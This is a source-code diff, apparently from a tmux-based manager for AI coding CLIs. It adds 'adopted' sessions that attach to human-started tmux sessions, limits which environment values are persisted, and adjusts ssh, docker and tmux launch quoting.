    * that changed the answer. The caller persists and broadcasts on a true.
@@ -1857,21 +2073,38 @@ export class Session extends EventEmitter {
 
   /**
    * The full selection incl. bookkeeping, for state.json ONLY (`__customModel`, the
-   * same disk-only convention as `getEnvOverridesForPersist()`). Carries no env values,
-   * so nothing secret lands on disk; recovery re-derives them from the endpoint store.
+   * same disk-only convention as `getEnvOverridesForPersist()`). Carries no injected env
+   * values, so nothing secret lands on disk; recovery re-derives them from the endpoint store.
    * Without this a Codeman restart left the pane on the custom endpoint (tmux keeps
    * its `setenv`s) while `customModel` came back undefined, so the state was wrong and
    * clearing had nothing to unset. Must NOT be included in any API-bound serializer.
+   *
+   * The one value it does carry is the session's own home directory (`ownEnv`, narrowed to
+   * `homeEnvVar`), a path like `configDir` beside it: the selection overwrote the tmux
+   * `setenv` that held it, so without this a clear after a restart would lose it. Any other
+   * entry of `ownEnv` may be a credential and stays in memory, and so does a `homeEnvVar`
+   * value that is not an absolute path: the registry types that name as any env var, so a
+   * `clis.json` override can point it at a credential.
    */
   getCustomModelForPersist(): CustomModelBookkeeping | undefined {
-    return this._customModel ? { ...this._customModel, envKeys: [...this._customModel.envKeys] } : undefined;
+    if (!this._customModel) return undefined;
+    const { ownEnv, ...selection } = this._customModel;
+    const { homeEnvVar } = selection;
+    const ownHome = homeEnvVar ? ownEnv?.[homeEnvVar] : undefined;
+    return {
+      ...selection,
+      envKeys: [...selection.envKeys],
+      ...(homeEnvVar && ownHome && isAbsolute(ownHome) ? { ownEnv: { [homeEnvVar]: ownHome } } : {}),
+    };
   }
 
   /**
    * Update this session's custom-model selection and merge the endpoint's injected env
    * vars into `_envOverrides` — first UNDOING whatever the previous selection injected
-   * (removing exactly those env keys), so switching endpoints, or clearing back to the
-   * harness's native cloud default, never leaves a stale key behind. Synchronous and
+   * (removing exactly those env keys, and putting back a value the session had set under
+   * one itself), so switching endpoints, or clearing back to the harness's native cloud
+   * default, never leaves a stale key behind and never loses the session's own `DSH_HOME`
+   * or `CLAUDE_CONFIG_DIR`. Synchronous and
    * side-effect-free beyond mutating state, matching `setNice`/`setColor` above — this
    * class does no file IO, so it reports the PREVIOUS `configDir` (if any) for the
    * caller to clean up on disk (custom-model-injection.ts's configDir kind).
@@ -1881,7 +2114,12 @@ export class Session extends EventEmitter {
    * `_buildRespawnPaneOptions().unsetEnvKeys`): the tmux session inherits every
    * `setenv` into `respawn-pane`, so dropping them from the map alone would relaunch
    * the CLI still pointed at the old endpoint — and for the `configDir` kinds, at a
-   * `HOME`/`CODEX_HOME`/`GROK_HOME` the caller has just deleted.
+   * `HOME`/`CODEX_HOME`/`GROK_HOME` the caller has just deleted. A key put back stays out
+   * of that queue: `applyEnvOverrides()` writes its value over the injected one.
+   *
+   * `next.ownEnv` is for recovery, which states the session's own values itself: after a
+   * restart `_envOverrides` holds what the previous run injected (`CLAUDE_CONFIG_DIR` is
+   * persisted), and reading those as the session's own would pin it to a deleted directory.
    */
   setCustomModel(
     next: CustomModelBookkeeping | undefined,
@@ -1890,13 +2128,30 @@ export class Session extends EventEmitter {
     const previousConfigDir = this._customModel?.configDir;
     const removedEnvKeys: string[] = [];
     if (this._customModel) {
+      const previousOwnEnv = this._customModel.ownEnv ?? {};
       for (const key of this._customModel.envKeys) {
         if (this._envOverrides) delete this._envOverrides[key];
         removedEnvKeys.push(key);
-        this._pendingEnvUnsets.add(key);
+        const own = previousOwnEnv[key];
+        if (own) {
+          this._envOverrides = { ...(this._envOverrides ?? {}), [key]: own };
+          this._pendingEnvUnsets.delete(key);
+        } else {
+          this._pendingEnvUnsets.add(key);
+        }
       }
     }
-    this._customModel = next ? { ...next, envKeys: [...next.envKeys] } : undefined;
+    // Read after the undo, so a switch between endpoints carries the own values across. An
+    // empty value is skipped: `applyEnvOverrides()` never set one, so it has nothing to
+    // restore, and the injected key still has to be unset.
+    const ownEnv: Record<string, string> = { ...next?.ownEnv };
+    if (!next?.ownEnv) {
+      for (const key of Object.keys(envOverrides ?? {})) {
+        const own = this._envOverrides?.[key];
+        if (own) ownEnv[key] = own;
+      }
+    }
+    this._customModel = next ? { ...next, envKeys: [...next.envKeys], ownEnv } : undefined;
     if (envOverrides && Object.keys(envOverrides).length > 0) {
       this._envOverrides = { ...(this._envOverrides ?? {}), ...envOverrides };
       // A key the new selection sets again does not need an unset (applyEnvOverrides
@@ -2162,8 +2417,11 @@ export class Session extends EventEmitter {
       pid: this.pid,
       status: this._status,
       workingDir: this.workingDir,
+      paneCwd: this._paneCwd,
+      liveWorktree: this._liveWorktree,
       remote: this._remote,
       docker: this._docker,
+      adopt: this._adopt,
       owner: this._owner,
       parentSessionId: this._parentSessionId,
       currentTaskId: this._currentTaskId,
@@ -2457,7 +2715,7 @@ export class Session extends EventEmitter {
           name: 'xterm-256color',
           cols: ptyCols,
           rows: ptyRows,
-          cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker),
+          cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker, this._adopt),
           // COD-75: a CLI that declares `export COLORTERM=truecolor` gets it on the ATTACH
           // client too. Both sides read the same registry entry, which is what stops the
           // attach client and the tmux session from disagreeing — they used to be two
@@ -2610,6 +2868,7 @@ export class Session extends EventEmitter {
       historyLimit: this._tmuxHistoryLimit,
       remote: this._remote,
       docker: this._docker,
+      adopt: this._adopt,
       owner: this._owner,
     };
     return this._withCustomModelLaunchModel(options);
@@ -2692,7 +2951,7 @@ export class Session extends EventEmitter {
     if (entry?.launch.chain !== 'fallback') return options;
 
     const resumeIdPattern = entry.launch.params?.resumeId;
-    const configDir = this._claudeConfigDir();
+    const configDir = this.claudeConfigDir();
     const chainTail = this._claudeSessionChain[this._claudeSessionChain.length - 1];
     const candidates = [chainTail, options.resumeSessionId, this.id].filter((v): v is string => !!v);
     for (const candidate of candidates) {
@@ -2714,8 +2973,11 @@ export class Session extends EventEmitter {
     return options;
   }
 
-  /** The session's Claude config dir when it has been relocated (#255), else undefined. */
-  private _claudeConfigDir(): string | undefined {
+  /**
+   * The session's Claude config dir when it has been relocated (#255), else undefined.
+   * Public for the edit history reader, which looks for the transcript there.
+   */
+  claudeConfigDir(): string | undefined {
     // Trimmed like `claudeProjectsDir()` trims the process-wide override: the
     // envOverrides schema validates keys only, and a whitespace-only value would
     // otherwise resolve to a relative path and read "no transcript" for everything.
@@ -2724,7 +2986,8 @@ export class Session extends EventEmitter {
 
   /**
    * Force the custom-model selection's `launchModel` (pi/omp `custom/<id>`, grok's
-   * `[model.<name>]` block name) onto the CLI's `model` launch param. Where that param
+   * `[model.<name>]` block name, codex's bare selected id) onto the CLI's `model`
+   * launch param. Where that param
    * lives is registry DATA — the entry's `legacyConfigField` (`piConfig`, `grokConfig`,
    * ...) or the top-level `model` for an entry that declares none — so this stays a
    * generic reader rather than a branch per CLI. Applied on the OPTIONS only: the stored
@@ -2861,7 +3124,7 @@ export class Session extends EventEmitter {
     // redraws overwrite only the cells they target, so non-erased rows keep
     // their content. Gated to Codex/Claude/Gemini (isAltScreenStripMode).
     //
-    // Every OTHER mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip
+    // Every OTHER mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip
     // when it is tmux-backed: alt-screen toggles only, because the sequence that breaks
     // scrollback there is tmux's own client-side smcup at attach, not anything the
     // program in the pane emitted (issue #205, see isMuxAltScreenOnlyStripMode).
@@ -2942,6 +3205,26 @@ export class Session extends EventEmitter {
     this.emit('output', data);
   }
 
+  /**
+   * End a start that cannot reach an adopted session's wrapper.
+   *
+   * ⚠️ Never the direct-PTY fallback. What that starts is a NEW process on THIS host
+   * (`claude --dangerously-skip-permissions`, or a server-account shell) in the neutral
+   * `/tmp`, under a tab still carrying the foreign session's name, so someone who opened an
+   * ssh or container session would end up typing into this machine. `_useMux` stays on, so
+   * the next start, which is what selecting the tab sends, tries the wrapper again.
+   *
+   * The `error` event is what the tab shows: the browser's re-attach does not read the
+   * route's answer.
+   */
+  private _failAdoptedStart(err: unknown): never {
+    const message = `Could not attach to ${this._adopt?.targetSession}: ${getErrorMessage(err)}`;
+    console.error(`[Session] ${message}`);
+    this._status = 'stopped';
+    this.emit('error', message);
+    throw new Error(message);
+  }
+
   async startInteractive(): Promise<void> {
     if (this.ptyProcess) {
       throw new Error('Session already has a running process');
@@ -2987,8 +3270,10 @@ export class Session extends EventEmitter {
     // wheel-forwarding to Claude's own transcript (the only route to history in
     // repaint/alt-screen mode; issue #154). Remote sessions run claude on
     // another host, so a local probe wouldn't reflect their version; they get
-    // their own over-ssh probe below. Cached process-wide, best-effort.
-    if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._cliVersion) {
+    // their own over-ssh probe below. Cached process-wide, best-effort. An adopted
+    // session's agent is a process someone else started, possibly elsewhere, so
+    // the local binary says nothing about it either.
+    if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._adopt && !this._cliVersion) {
       const probedVersion = resolveSessionCliVersion(this.mode);
       if (probedVersion) {
         this._cliVersion = probedVersion;
@@ -3091,6 +3376,7 @@ export class Session extends EventEmitter {
             historyLimit: this._tmuxHistoryLimit,
             remote: this._remote,
             docker: this._docker,
+            adopt: this._adopt,
             owner: this._owner,
           },
           spawnErrLabel: 'mux attachment',
@@ -3175,6 +3461,7 @@ export class Session extends EventEmitter {
           this._armPaneSettle(true);
         }
       } catch (err) {
+        if (this._adopt) this._failAdoptedStart(err);
         console.error('[Session] Failed to create mux session, falling back to direct PTY:', err);
         this._useMux = false;
         this._muxSession = null;
@@ -3194,6 +3481,7 @@ export class Session extends EventEmitter {
       if (getCli(this.mode)?.capabilities.requiresMux) {
         throw new Error(`${getModeLabel(this.mode)} sessions require tmux. Direct PTY fallback is not supported.`);
       }
+      if (this._adopt) this._failAdoptedStart(new Error('tmux is not available'));
       try {
         // Pass --session-id to use the SAME ID as the Codeman session
         // This ensures subagents can be directly matched to the correct tab.
@@ -3400,6 +3688,14 @@ export class Session extends EventEmitter {
     // Stopped: the kill itself produces PTY output, and the buffer tail still holds the
     // dialog, so without this a deleted session kept "answering" it for several seconds.
     if (this._trustDialogAccepted || this._isStopped) return;
+    // ⚠️ Never answer a dialog in someone else's pane. An adopted session wraps a
+    // claude the human started, and this scan reads the pane and SENDS KEYS for 90
+    // seconds after `startInteractive()`, which boot recovery re-runs for every
+    // wrapper, so it is not a one-time window at adoption.
+    if (this._adopt) {
+      this._trustDialogAccepted = true;
+      return;
+    }
     const now = Date.now();
     if (now - this._interactiveStartedAt > TRUST_DIALOG_WINDOW_MS) {
       this._trustDialogAccepted = true; // window closed; anything matching now is not the dialog
@@ -4156,6 +4452,7 @@ export class Session extends EventEmitter {
             historyLimit: this._tmuxHistoryLimit,
             remote: this._remote,
             docker: this._docker,
+            adopt: this._adopt,
             owner: this._owner,
           },
           createSessionOptions: {
@@ -4168,6 +4465,7 @@ export class Session extends EventEmitter {
             historyLimit: this._tmuxHistoryLimit,
             remote: this._remote,
             docker: this._docker,
+            adopt: this._adopt,
             owner: this._owner,
           },
           spawnErrLabel: 'shell mux attachment',
@@ -4175,7 +4473,10 @@ export class Session extends EventEmitter {
 
         // For NEW sessions: clear by sending 'clear' command to the shell
         // For RESTORED sessions: don't clear - we want to see the existing output
-        if (!isRestored) {
+        // ⚠️ Never for an ADOPTED one: this pane is someone else's, so the write would land
+        // on their half-typed command and submit it (measured), or in whatever is reading
+        // stdin. `shell` is also the mode of anything the classifier cannot name.
+        if (!isRestored && !this._adopt) {
           setTimeout(() => {
             if (this.ptyProcess) {
               this._terminalBuffer.clear();
@@ -4184,6 +4485,7 @@ export class Session extends EventEmitter {
           }, 100);
         }
       } catch (err) {
+        if (this._adopt) this._failAdoptedStart(err);
         console.error('[Session] Failed to create mux session, falling back to direct PTY:', err);
         this._useMux = false;
         this._muxSession = null;
@@ -4192,6 +4494,7 @@ export class Session extends EventEmitter {
 
     // Fallback to direct PTY if mux is not used
     if (!this.ptyProcess) {
+      if (this._adopt) this._failAdoptedStart(new Error('tmux is not available'));
       try {
         this.ptyProcess = spawnPtyWithHelperRepair(() =>
           pty.spawn(shell, [], {
@@ -4278,6 +4581,8 @@ export class Session extends EventEmitter {
     prompt: string,
     options?: { model?: string; onProgress?: (info: { tokens?: number; status?: string }) => void }
   ): Promise<{ result: string; cost: number }> {
+    // ⚠️ A one-shot `claude -p` is a new local process in `/tmp`, never the agent in that pane.
+    if (this._adopt) throw new Error('One-shot prompts are not available for adopted sessions');
     if (this.guardedInputHeld) {
       this._guardedInputRevision++;
       throw new Error('Guarded submission in progress');
@@ -4928,6 +5233,7 @@ export class Session extends EventEmitter {
       (!allowLease && this.guardedInputHeld) ||
       this.remote ||
       this.docker ||
+      this._adopt ||
       this.paneExit ||
       !this._muxSession
     )

src/tmux-manager.ts

@@ -23,6 +23,13 @@
 
 import { EventEmitter } from 'node:events';
 import { collectDescendants } from './proc-tree.js';
+import {
+  foreignViewSessionName,
+  buildForeignDockerViewKillCommand,
+  buildForeignAttachCommand,
+  buildForeignDockerAttachCommand,
+  buildForeignRemoteAttachCommand,
+} from './foreign-tmux.js';
 import { execSync, exec, execFile } from 'node:child_process';
 import { promisify } from 'node:util';
 
@@ -58,6 +65,7 @@ import {
   type OmpConfig,
   type SessionRemote,
   type SessionDocker,
+  type SessionAdopt,
   type DockerCommandMode,
   type PaneExit,
   type StatusLineExporter,
@@ -422,15 +430,56 @@ export function derivePaneExits(rows: PaneRow[], now: number): Map<string, PaneE
   return exits;
 }
 
+/**
+ * Decide, from every pane tmux listed, which directory each tmux session's pane
+ * is in now (`#{pane_current_path}`). Exported for unit testing.
+ *
+ * This is what a relative path printed in the terminal is relative TO: a
+ * session's `workingDir` is fixed at create time and never follows a `cd`.
+ *
+ * - Only sessions with EXACTLY ONE pane answer, for the reason
+ *   {@link derivePaneExits} gives: a hand-split session has no single "the"
+ *   pane to speak for it.
+ * - Only absolute paths count. A blank field is a tmux that could not read the
+ *   process cwd: usually a pane whose program exited under `remain-on-exit`
+ *   (tmux 3.4 then reports it blank on every read), otherwise a read that
+ *   failed that tick. Either way the directory is unknown, not gone, so a
+ *   single-pane session with a blank field keeps its entry from `previous`.
+ *   A session split into several panes, or one the read no longer lists, gets
+ *   no entry: those are authoritative absences, not unanswered questions.
+ *
+ * The launch directory is NOT filtered here (unlike the rediscovery path): a
+ * remote or docker pane that never leaves it is refused by `Session.setPaneCwd()`,
+ * and a local pane reporting it really is there.
+ */
+export function derivePaneCurrentPaths(
+  rows: PaneRow[],
+  previous: ReadonlyMap<string, string> = new Map()
+): Map<string, string> {
+  const panesPerSession = new Map<string, number>();
+  for (const row of rows) {
+    panesPerSession.set(row.sessionName, (panesPerSession.get(row.sessionName) ?? 0) + 1);
+  }
+  const paths = new Map<string, string>();
+  for (const row of rows) {
+    if (panesPerSession.get(row.sessionName) !== 1) continue;
+    const path = row.currentPath ?? previous.get(row.sessionName);
+    if (!path || !path.startsWith('/')) continue;
+    paths.set(row.sessionName, path);
+  }
+  return paths;
+}
+
 /**
  * Could any of these tmux sessions ever produce a pane-exit answer? Exported
  * for unit testing.
  *
  * Mirrors `Session.paneExitApplies`, which is where the rule is enforced. A
  * remote session's local pane holds the ssh client, a docker case's holds a
- * `docker exec` into the container's own tmux, and a record rebuilt from the
- * socket carries no provenance at all, so the session end forces all three to
- * UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
+ * `docker exec` into the container's own tmux, an ADOPTED session's holds a
+ * `tmux attach` to a session a human started rather than the agent itself, and
+ * a record rebuilt from the socket carries no provenance at all, so the session
+ * end forces all four to UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
  * learn, and `refreshPaneExits()` skips its tmux read rather than paying for
  * the answer.
  *
@@ -443,12 +492,26 @@ export function hasObservablePaneSession(sessions: Iterable<MuxSession>): boolea
   for (const session of sessions) {
     if (session.remote) continue;
     if (session.docker) continue;
+    if (session.adopt) continue;
     if (session.discovered === true) continue;
     return true;
   }
   return false;
 }
 
+/**
+ * Which adopted wrappers have a dead pane with a tmux client still attached, from rows of
+ * `#{pane_dead} #{session_attached} #{session_name}`. Exported for unit testing.
+ */
+export function endedAdoptedAttaches(rows: string, adopted: ReadonlySet<string>): string[] {
+  const ended: string[] = [];
+  for (const row of rows.split('\n')) {
+    const [dead, attached, muxName] = row.trim().split(' ');
+    if (dead === '1' && Number(attached) > 0 && adopted.has(muxName)) ended.push(muxName);
+  }
+  return ended;
+}
+
 /**
  * Resolve a target pane id from `tmux list-panes -F '#{pane_id}:#{pane_active}'`.
  * Prefers the active pane and falls back to the first valid pane.
@@ -1245,12 +1308,15 @@ export function remoteTmuxLocation(remote: SessionRemote, sessionId: string): {
  *
  * Emits:
  *   ssh -o BatchMode=yes -t [<COD-107 connection opts>] user@host \
- *     'tmux -L codeman-remote new-session -A -s codeman-ssh-<id> -c <path> "cd <path> && exec <cli>" \
+ *     'tmux -L codeman-remote new-session -A -s codeman-ssh-<id> -c <path> /bin/sh -c <pane-command> \
  *        \; set -t codeman-ssh-<id> status off \; set -t codeman-ssh-<id> mouse off \
  *        \; set -t codeman-ssh-<id> prefix C-q \; set -s escape-time 0 \; \
  *        bind-key -T prefix C-q send-prefix \; unbind-key -a -T prefix \; \
  *        bind-key -T prefix C-q send-prefix \; set -t codeman-ssh-<id> remain-on-exit failed'
  *
+ * `<pane-command>` is `cd <path> && exec <cli>`, quoted as one token. A per-host `commands.*`
+ * override is that one token alone, with no `/bin/sh -c` in front of it.
+ *
  * COD-107 — the connection options (`-p`, `-i`, `-J`, SOCKS `-o ProxyCommand`,
  * arbitrary `-o`) come from the shared `buildSshConnectionArgs(remote)`, so the
  * prereq tmux probe and this launch connect with identical options.
@@ -1264,10 +1330,12 @@ export function remoteTmuxLocation(remote: SessionRemote, sessionId: string): {
  * - The `set` options are scoped per-session (`set -t <name>` / server-level
  *   `set -s`), never `-g`, so they never mutate other sessions' prefix/mouse.
  * - The whole tmux invocation is a SINGLE ssh argument (the remote login shell
- *   runs it), so it is shell-quoted as one unit; the `cd && exec` command is in
- *   turn a single tmux argument (tmux runs it via `/bin/sh -c`), so the path is
- *   shell-quoted inside it too. This keeps escaping correct through every layer
- *   even when the remote path contains spaces.
+ *   runs it), so it is shell-quoted as one unit. The `cd && exec` command is the
+ *   pane command: Codeman's own text goes to `/bin/sh -c` as separate tmux
+ *   arguments, and a per-host `commands.*` override stays one argument, which
+ *   tmux hands to the remote default-shell (see the comment at `paneCommand`).
+ *   Each is shell-quoted, so escaping stays correct through every layer even
+ *   when the remote path contains spaces.
  */
 export function buildRemoteLaunchCommand(options: {
   mode: SessionMode;
@@ -1284,9 +1352,9 @@ export function buildRemoteLaunchCommand(options: {
   // hardcoding --dangerously-skip-permissions, so a non-granted multi-user user's
   // downgraded 'auto' actually reaches the remote agent (the default command otherwise
   // ignored claudeMode). A per-host `commands.claude` override stays authoritative
-  // (admin's explicit choice). Wrapped in `$SHELL -i -l -c` for the same reason as
-  // `defaultRemoteCommandForMode`: `claude` lives under a per-user PATH entry that
-  // only an interactive login shell resolves (see that function's comment).
+  // (admin's explicit choice). Wrapped in the login shell (`remoteLoginShellCommand`) for
+  // the same reason as `defaultRemoteCommandForMode`: `claude` lives under a per-user PATH
+  // entry that only an interactive login shell resolves (see that function's comment).
   const override = remote.commands?.[mode];
   let modeCommand: string;
   if (override) {
@@ -1350,17 +1418,25 @@ export function buildRemoteLaunchCommand(options: {
   }
   const remoteName = remoteTmuxSessionName(sessionId);
 
-  // Innermost: the command tmux runs in the new pane. Run via `/bin/sh -c` by
-  // tmux, so the path needs shell-quoting here. `exec` replaces the shell with
-  // the CLI so the pane PID is the agent itself.
+  // Innermost: the command tmux runs in the new pane. `exec` replaces the shell
+  // with the CLI so the pane PID is the agent itself.
+  //
+  // tmux runs a ONE-argument command through the remote default-shell, which is
+  // the user's login shell, and bypasses it for two or more arguments (both
+  // measured on tmux 3.4). Codeman's own text is POSIX (`"${SHELL:-/bin/sh}"` is
+  // a parse error in fish, status 127, a dead pane on every new session), so it
+  // goes to `/bin/sh -c` as separate arguments and no login shell has to parse it.
+  // An override is the user's own text for THEIR shell: it stays one argument,
+  // because `source` and `[[` work in bash and zsh and die in a dash `/bin/sh`.
   const paneCommand = `cd ${shellescape(remote.remotePath)} && ${modeCommand}`;
+  const paneArgv = `${override ? '' : '/bin/sh -c '}${shellescape(paneCommand)}`;
 
   // The tmux command line, with `\;` separating commands so the config `set`s
   // apply on the SAME connection (and are idempotent on reattach). Options are
   // scoped per-session (`set -t <name>` / server `set -s`), NEVER `-g`, so a
   // shared remote tmux server's other sessions keep their own prefix/mouse.
   const tmuxInvocation = [
-    `tmux -L ${REMOTE_TMUX_SOCKET} new-session -A -s ${remoteName} -c ${shellescape(remote.remotePath)} ${shellescape(paneCommand)}`,
+    `tmux -L ${REMOTE_TMUX_SOCKET} new-session -A -s ${remoteName} -c ${shellescape(remote.remotePath)} ${paneArgv}`,
     `set -t ${remoteName} status off`,
     `set -t ${remoteName} mouse off`,
     `set -t ${remoteName} prefix ${NESTED_TMUX_PREFIX}`,
@@ -1535,7 +1611,7 @@ export interface DockerLaunchOptions {
  * Build the ONE `bash -c` launch string for a docker session: image-check ->
  * ensure (inspect-or-create) -> start -> `exec docker exec -it` into the durable
  * in-container tmux (resume-aware). PURE and unit-testable. The escaping survives
- * four layers: outer `bash -c "…"` (JSON.stringify at respawn-pane) -> the joined
+ * four layers: outer `bash -c '…'` (`bashCArg()` at respawn-pane) -> the joined
  * command -> `docker exec … sh -lc '<tmux>'` -> tmux `'<paneCommand>'`.
  */
 export function buildDockerLaunchCommand(opts: DockerLaunchOptions): string {
@@ -1563,8 +1639,8 @@ export function buildDockerLaunchCommand(opts: DockerLaunchOptions): string {
   } else if (resumeSessionId) {
     modeCommand = appendResumeFlag(modeCommand, mode, resumeSessionId);
   }
-  // Run by tmux via /bin/sh -c, so the path is shell-quoted here. `exec` makes the
-  // pane PID the agent itself.
+  // Run by tmux through the container's default-shell, so the path is shell-quoted
+  // here. `exec` makes the pane PID the agent itself.
   const paneCommand = `cd ${workdir} && ${modeCommand}`;
 
   // `setenv -g` primes the session id so reattaches / newly-created panes inherit
@@ -1626,11 +1702,10 @@ export function buildDockerLaunchCommand(opts: DockerLaunchOptions): string {
   const ensure = adopted
     ? `${base} inspect ${name} >/dev/null 2>&1 || { echo ${notFoundMsg}; exit 1; }`
     : `${base} inspect ${name} >/dev/null 2>&1 || ${createCommand}`;
-  // ⚠️ No double quotes and no `$(…)` in the ADOPTED arms. This whole chain is
-  // embedded in an outer `bash -c "…"`, so an unescaped `"` closes that string early,
-  // the rest is re-tokenized, and tmux fails to exec with a bare `execvp(3) failed`.
-  // A `grep -qx` pipeline reads the same answer using only the single-quoted form
-  // every other line in this builder already uses.
+  // A `grep -qx` pipeline, in the single-quoted form every other line in this builder
+  // uses. This chain reaches `bash -c` verbatim now (`bashCArg()`), but it went through
+  // a double-quoted layer for a long time, where a `"` closed that string early and tmux
+  // failed with a bare `execvp(3) failed`, so keep it free of double quotes and `$(…)`.
   const start = adopted
     ? `${base} inspect -f ${shellescape('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true || { echo ${notRunningMsg}; exit 1; }`
     : `${base} start ${name} >/dev/null 2>&1 || { echo ${startFailMsg}; exit 1; }`;
@@ -1855,6 +1930,45 @@ function buildRemoteSessionCommand(options: {
   return buildRemoteLaunchCommand(options);
 }
 
+/**
+ * ADOPTION: the pane command for a wrapper session around a tmux session a
+ * human started. Sibling of `buildRemoteSessionCommand` and
+ * `buildDockerLaunchCommand`, and the same shape of decision: the wrapper is an
+ * ordinary `codeman-<8hex>` session on OUR socket, and only what runs INSIDE its
+ * pane differs per location.
+ *
+ * That indirection is what makes adoption safe by construction rather than by
+ * discipline: `killSession` only ever kills the wrapper on our own socket, so
+ * there is no shape of caller bug that reaches the foreign server with a
+ * `kill-session`. It is the same reasoning that keeps a non-owned REMOTE session
+ * safe (see the detach-not-kill early return in `killSession`).
+ */
+export function buildAdoptSessionCommand(adopt: SessionAdopt, sessionId: string): string {
+  const target = {
+    socketPath: adopt.socketPath,
+    targetSession: adopt.targetSession,
+    // Derived rather than required: the view name is a function of the Codeman
+    // session id, so a record that predates it (or one whose creator filled it in
+    // after construction) still produces the right name instead of an empty `-s`.
+    viewSession: adopt.viewSession || foreignViewSessionName(sessionId),
+  };
+  if (adopt.location === 'docker' && adopt.docker) {
+    return buildForeignDockerAttachCommand({
+      ...target,
+      dockerBase: buildDockerBaseArgs(adopt.docker).join(' '),
+      containerName: adopt.docker.containerName,
+    });
+  }
+  if (adopt.location === 'remote' && adopt.remote) {
+    return buildForeignRemoteAttachCommand({
+      ...target,
+      sshArgs: buildSshConnectionArgs(adopt.remote),
+      sshTarget: remoteSshTarget(adopt.remote),
+    });
+  }
+  return buildForeignAttachCommand(target);
+}
+
 /**
  * Push one environment variable into a tmux session with `setenv`.
  *
@@ -2006,6 +2120,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
    * raw pane reading.
    */
   private paneExits: Map<string, TrackedPaneExit> = new Map();
+  /**
+   * muxName -> `#{pane_current_path}` from the last authoritative pane read
+   * ({@link derivePaneCurrentPaths}). Replaced wholesale by each non-empty read,
+   * so it is bounded by the panes on the socket. Like {@link paneExits} it holds
+   * the raw reading; `Session.setPaneCwd()` decides which sessions may use it.
+   */
+  private paneCurrentPaths: Map<string, string> = new Map();
   /** The pane-exit watcher's own interval. Runs whether or not stats are on. */
   private paneExitInterval: NodeJS.Timeout | null = null;
   /**
@@ -2453,6 +2574,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       historyLimit = DEFAULT_TMUX_HISTORY_LIMIT,
       remote,
       docker,
+      adopt,
       owner,
     } = options;
     const muxName = `codeman-${sessionId.slice(0, 8)}`;
@@ -2474,6 +2596,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
         workingDir,
         remote,
         docker,
+        adopt,
         owner,
         mode,
         attached: false,
@@ -2500,7 +2623,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     // surfacing as a bare `execvp(3) failed: No such file or directory` with nothing
     // pointing at the real cause. The container's own CLIs are verified by the adoption
     // preflight / image gate before launch instead.
-    const cliRunsInContainer = !!docker;
+    //
+    // ⚠️ Skipped for an ADOPTED session for the mirror-image reason: its CLI was started by
+    // a human in a process we did not spawn, and our pane only runs `tmux attach`. Requiring
+    // the binary here would reject adopting a claude that lives in a container or on an ssh
+    // host, and (worse) reject a LOCAL adoption whenever the agent is outside the server
+    // process's PATH, which is the usual systemd/launchd situation.
+    const cliRunsInContainer = !!docker || !!adopt;
     if (!cliRunsInContainer && !cliDir) {
       const message = missingCliMessage(mode);
       if (message) throw new Error(message);
@@ -2511,7 +2640,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     const { command: statusLineCommand, state: statusLine } = await this._resolveStatusLine(
       mode,
       workingDir,
-      !!(remote || docker)
+      // An adopted wrapper launches no agent, so nothing can carry the exporter.
+      !!(remote || docker || adopt)
     );
     const idleCompactionOff = await this._resolveIdleCompactionOptOut(mode, statusLine, keepWarm, spawnedByAgent);
     // The user's own REAL statusLine, if any (walked via Claude Code's own
@@ -2548,11 +2678,21 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     try {
       // Build the full command to run inside tmux
       const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
-      const fullCmd = docker
-        ? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
-        : remote
-          ? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
-          : localFullCmd;
+      const fullCmd = adopt
+        ? buildAdoptSessionCommand(adopt, sessionId)
+        : docker
+          ? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
+          : remote
+            ? buildRemoteSessionCommand({
+                mode,
+                remote,
+                sessionId,
+                claudeMode,
+                allowedTools,
+                ompConfig,
+                resumeSessionId,
+              })
+            : localFullCmd;
 
       // Create tmux session in three steps to handle cold-start (no server running)
       // and avoid the race where the command exits before remain-on-exit is set:
@@ -2613,9 +2753,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
 
       // Replace the shell with the actual command (no echo in terminal). Keep
       // pane launch in /tmp, then cd inside bash against the current mount table.
-      const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
+      // ⚠️ An adopted pane is never `cd`'d: it only attaches, and its `workingDir`
+      // is the neutral wrapper folder, not where the foreign pane is.
+      const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
       execSync(
-        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
+        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker || adopt))}`,
         {
           timeout: EXEC_TIMEOUT_MS,
           stdio: 'ignore',
@@ -2679,6 +2821,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
         workingDir,
         remote,
         docker,
+        adopt,
         owner,
         mode,
         attached: false,
@@ -2803,6 +2946,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     } = options;
     const session = this.sessions.get(sessionId);
     if (!session) return null;
+    // Adoption metadata comes from the tracked session, not the caller: a respawn
+    // of an adopted wrapper RE-ATTACHES to the same foreign target. It must never
+    // be able to become "launch a fresh agent here" because a caller forgot to
+    // pass the field through.
